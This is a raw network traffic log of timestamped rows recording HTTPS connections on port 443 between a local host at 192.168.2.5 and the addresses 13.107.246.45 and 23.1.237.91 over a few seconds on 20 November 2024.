Nov 20, 2024 06:40:48.658571005 CET	443	49987	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.659374952 CET	49986	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.659385920 CET	443	49986	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.659714937 CET	49987	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.659774065 CET	443	49987	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.663364887 CET	49987	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.663379908 CET	443	49987	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.669284105 CET	443	49985	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.669440031 CET	443	49985	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.670170069 CET	49985	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.670227051 CET	49985	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.670227051 CET	49985	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.670260906 CET	443	49985	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.670284986 CET	443	49985	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.672823906 CET	49989	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.672856092 CET	443	49989	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.673031092 CET	49989	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.675358057 CET	49989	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.675374985 CET	443	49989	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.681749105 CET	443	49984	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.682173967 CET	443	49984	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.682645082 CET	49984	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.682714939 CET	49984	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.682738066 CET	443	49984	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.682780027 CET	49984	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.682795048 CET	443	49984	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.687350988 CET	49990	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.687376022 CET	443	49990	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.687536955 CET	49990	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.687762022 CET	49990	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.687774897 CET	443	49990	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.761734962 CET	443	49986	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.761914015 CET	443	49986	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.762022018 CET	49986	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.762022972 CET	49986	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.762089968 CET	49986	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.762115955 CET	443	49986	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.763575077 CET	443	49987	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.763853073 CET	443	49987	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.764219046 CET	49991	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.764234066 CET	443	49991	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.764275074 CET	49987	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.764355898 CET	49991	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.764365911 CET	49987	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.764401913 CET	443	49987	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.764427900 CET	49991	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.764439106 CET	443	49991	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.764440060 CET	49987	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.764456034 CET	443	49987	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.766551018 CET	49992	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.766587019 CET	443	49992	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:48.766669035 CET	49992	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.766870975 CET	49992	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:48.766889095 CET	443	49992	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.227942944 CET	443	49988	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.228446960 CET	49988	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.228463888 CET	443	49988	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.228894949 CET	49988	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.228905916 CET	443	49988	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.325851917 CET	443	49990	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.326355934 CET	49990	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.326370001 CET	443	49990	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.326494932 CET	443	49989	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.327501059 CET	49990	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.327507973 CET	443	49990	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.327541113 CET	443	49988	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.327610970 CET	443	49988	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.327677011 CET	443	49988	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.327734947 CET	49988	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.327867031 CET	49989	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.327893019 CET	443	49989	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.327908039 CET	49988	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.327924967 CET	443	49988	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.328409910 CET	49989	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.328416109 CET	443	49989	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.331048012 CET	49993	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.331084013 CET	443	49993	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.331216097 CET	49993	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.331434011 CET	49993	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.331453085 CET	443	49993	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.402545929 CET	443	49991	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.403165102 CET	49991	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.403187990 CET	443	49991	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.403670073 CET	49991	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.403676033 CET	443	49991	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.408874989 CET	443	49992	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.409288883 CET	49992	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.409311056 CET	443	49992	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.409684896 CET	49992	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.409689903 CET	443	49992	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.425019979 CET	443	49990	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.425095081 CET	443	49990	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.425194979 CET	49990	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.425208092 CET	443	49990	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.425276995 CET	49990	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.425312996 CET	49990	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.425328016 CET	443	49990	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.425359964 CET	49990	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.425365925 CET	443	49990	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.427464008 CET	443	49989	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.427637100 CET	443	49989	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.427742958 CET	49989	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.427844048 CET	49989	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.427860975 CET	443	49989	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.427871943 CET	49989	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.427876949 CET	443	49989	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.428390980 CET	49994	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.428428888 CET	443	49994	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.428533077 CET	49994	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.428721905 CET	49994	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.428740025 CET	443	49994	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.430344105 CET	49995	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.430382013 CET	443	49995	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.430553913 CET	49995	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.430725098 CET	49995	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.430736065 CET	443	49995	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.502916098 CET	443	49991	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.503304958 CET	443	49991	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.503428936 CET	49991	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.503464937 CET	49991	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.503479004 CET	443	49991	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.506077051 CET	49996	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.506104946 CET	443	49996	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.506187916 CET	49996	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.506359100 CET	49996	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.506372929 CET	443	49996	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.508636951 CET	443	49992	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.508745909 CET	443	49992	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.508857012 CET	443	49992	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.508865118 CET	49992	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.508914948 CET	49992	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.508966923 CET	49992	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.508985043 CET	443	49992	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.508997917 CET	49992	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.509005070 CET	443	49992	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.511158943 CET	49997	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.511243105 CET	443	49997	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.511462927 CET	49997	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.511624098 CET	49997	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.511661053 CET	443	49997	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.972778082 CET	443	49993	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.973316908 CET	49993	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.973339081 CET	443	49993	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:49.973958969 CET	49993	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:49.973963976 CET	443	49993	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.063795090 CET	443	49994	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.064785004 CET	49994	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.064816952 CET	443	49994	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.065469980 CET	49994	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.065485954 CET	443	49994	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.072671890 CET	443	49993	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.072837114 CET	443	49993	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.072894096 CET	49993	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.073029041 CET	49993	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.073044062 CET	443	49993	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.073054075 CET	49993	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.073059082 CET	443	49993	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.078174114 CET	443	49995	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.081171989 CET	49995	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.081182957 CET	443	49995	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.082324982 CET	49995	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.082329988 CET	443	49995	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.101466894 CET	49998	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.101510048 CET	443	49998	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.101702929 CET	49998	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.101950884 CET	49998	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.101965904 CET	443	49998	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.148493052 CET	443	49997	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.148971081 CET	49997	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.149000883 CET	443	49997	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.149506092 CET	49997	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.149514914 CET	443	49997	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.152729988 CET	443	49996	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.155030966 CET	49996	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.155050993 CET	443	49996	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.155529976 CET	49996	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.155534983 CET	443	49996	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.163304090 CET	443	49994	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.163465023 CET	443	49994	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.163513899 CET	443	49994	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.163530111 CET	49994	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.163578033 CET	49994	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.163664103 CET	49994	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.163664103 CET	49994	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.163686037 CET	443	49994	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.163700104 CET	443	49994	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.166140079 CET	49999	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.166172028 CET	443	49999	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.166342974 CET	49999	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.166454077 CET	49999	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.166471004 CET	443	49999	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.180502892 CET	443	49995	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.180917978 CET	443	49995	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.180978060 CET	49995	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.181046009 CET	49995	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.181062937 CET	443	49995	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.181072950 CET	49995	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.181078911 CET	443	49995	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.183223963 CET	50000	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.183243036 CET	443	50000	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.183499098 CET	50000	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.183594942 CET	50000	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.183609009 CET	443	50000	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.247845888 CET	443	49997	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.247872114 CET	443	49997	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.247935057 CET	49997	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.247982025 CET	443	49997	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.248097897 CET	443	49997	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.248286963 CET	49997	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.248368979 CET	49997	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.248368979 CET	49997	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.248402119 CET	443	49997	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.248425961 CET	443	49997	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.251002073 CET	50001	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.251048088 CET	443	50001	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.251104116 CET	50001	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.251229048 CET	50001	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.251247883 CET	443	50001	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.257050991 CET	443	49996	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.257078886 CET	443	49996	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.257139921 CET	443	49996	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.257158995 CET	49996	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.257186890 CET	49996	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.257282972 CET	49996	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.257296085 CET	443	49996	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.257308006 CET	49996	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.257313013 CET	443	49996	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.259592056 CET	50002	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.259602070 CET	443	50002	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.259691000 CET	50002	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.259958982 CET	50002	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.259967089 CET	443	50002	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.415951967 CET	49703	443	192.168.2.5	23.1.237.91
Nov 20, 2024 06:40:50.416168928 CET	49703	443	192.168.2.5	23.1.237.91
Nov 20, 2024 06:40:50.416625023 CET	50003	443	192.168.2.5	23.1.237.91
Nov 20, 2024 06:40:50.416665077 CET	443	50003	23.1.237.91	192.168.2.5
Nov 20, 2024 06:40:50.416817904 CET	50003	443	192.168.2.5	23.1.237.91
Nov 20, 2024 06:40:50.417256117 CET	50003	443	192.168.2.5	23.1.237.91
Nov 20, 2024 06:40:50.417270899 CET	443	50003	23.1.237.91	192.168.2.5
Nov 20, 2024 06:40:50.421040058 CET	443	49703	23.1.237.91	192.168.2.5
Nov 20, 2024 06:40:50.421057940 CET	443	49703	23.1.237.91	192.168.2.5
Nov 20, 2024 06:40:50.747574091 CET	443	49998	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.748306990 CET	49998	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.748327017 CET	443	49998	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.748760939 CET	49998	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.748764992 CET	443	49998	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.821079016 CET	443	49999	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.821544886 CET	49999	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.821602106 CET	443	49999	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.822014093 CET	49999	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.822027922 CET	443	49999	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.844866037 CET	443	50000	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.845371962 CET	50000	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.845396042 CET	443	50000	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.845839977 CET	50000	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.845844984 CET	443	50000	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.856584072 CET	443	49998	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.857332945 CET	443	49998	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.857393026 CET	443	49998	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.857398033 CET	49998	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.857449055 CET	49998	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.857686043 CET	49998	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.857701063 CET	443	49998	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.857714891 CET	49998	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.857722998 CET	443	49998	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.860227108 CET	50004	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.860281944 CET	443	50004	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.860373020 CET	50004	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.860517025 CET	50004	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.860532045 CET	443	50004	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.900373936 CET	443	50002	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.902239084 CET	50002	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.902259111 CET	443	50002	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.902817965 CET	50002	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.902822971 CET	443	50002	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.914705038 CET	443	50001	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.915256023 CET	50001	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.915292978 CET	443	50001	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.915817022 CET	50001	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.915827036 CET	443	50001	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.920686007 CET	443	49999	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.921266079 CET	443	49999	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.921408892 CET	49999	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.921444893 CET	49999	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.921444893 CET	49999	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.921469927 CET	443	49999	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.921480894 CET	443	49999	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.923726082 CET	50005	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.923762083 CET	443	50005	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.923819065 CET	50005	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.924030066 CET	50005	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.924045086 CET	443	50005	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.948101997 CET	443	50000	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.948291063 CET	443	50000	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.948335886 CET	50000	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.948347092 CET	443	50000	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.948359966 CET	443	50000	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.948512077 CET	50000	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.948795080 CET	50000	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.948807955 CET	443	50000	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.948817015 CET	50000	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.948822975 CET	443	50000	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.951342106 CET	50006	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.951374054 CET	443	50006	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:50.951494932 CET	50006	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.951644897 CET	50006	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:50.951662064 CET	443	50006	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.001102924 CET	443	50002	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.001231909 CET	443	50002	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.001324892 CET	50002	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.001334906 CET	443	50002	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.001355886 CET	443	50002	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.001445055 CET	50002	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.001485109 CET	50002	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.001493931 CET	443	50002	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.001504898 CET	50002	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.001508951 CET	443	50002	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.004121065 CET	50007	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.004157066 CET	443	50007	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.004219055 CET	50007	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.004554033 CET	50007	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.004568100 CET	443	50007	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.011784077 CET	443	50003	23.1.237.91	192.168.2.5
Nov 20, 2024 06:40:51.011908054 CET	50003	443	192.168.2.5	23.1.237.91
Nov 20, 2024 06:40:51.018666983 CET	443	50001	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.018951893 CET	443	50001	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.019051075 CET	50001	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.019123077 CET	50001	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.019145012 CET	443	50001	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.019160032 CET	50001	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.019166946 CET	443	50001	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.021604061 CET	50008	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.021692038 CET	443	50008	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.024463892 CET	50008	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.024591923 CET	50008	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.024630070 CET	443	50008	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.039052010 CET	50003	443	192.168.2.5	23.1.237.91
Nov 20, 2024 06:40:51.039069891 CET	443	50003	23.1.237.91	192.168.2.5
Nov 20, 2024 06:40:51.040318966 CET	443	50003	23.1.237.91	192.168.2.5
Nov 20, 2024 06:40:51.040699005 CET	50003	443	192.168.2.5	23.1.237.91
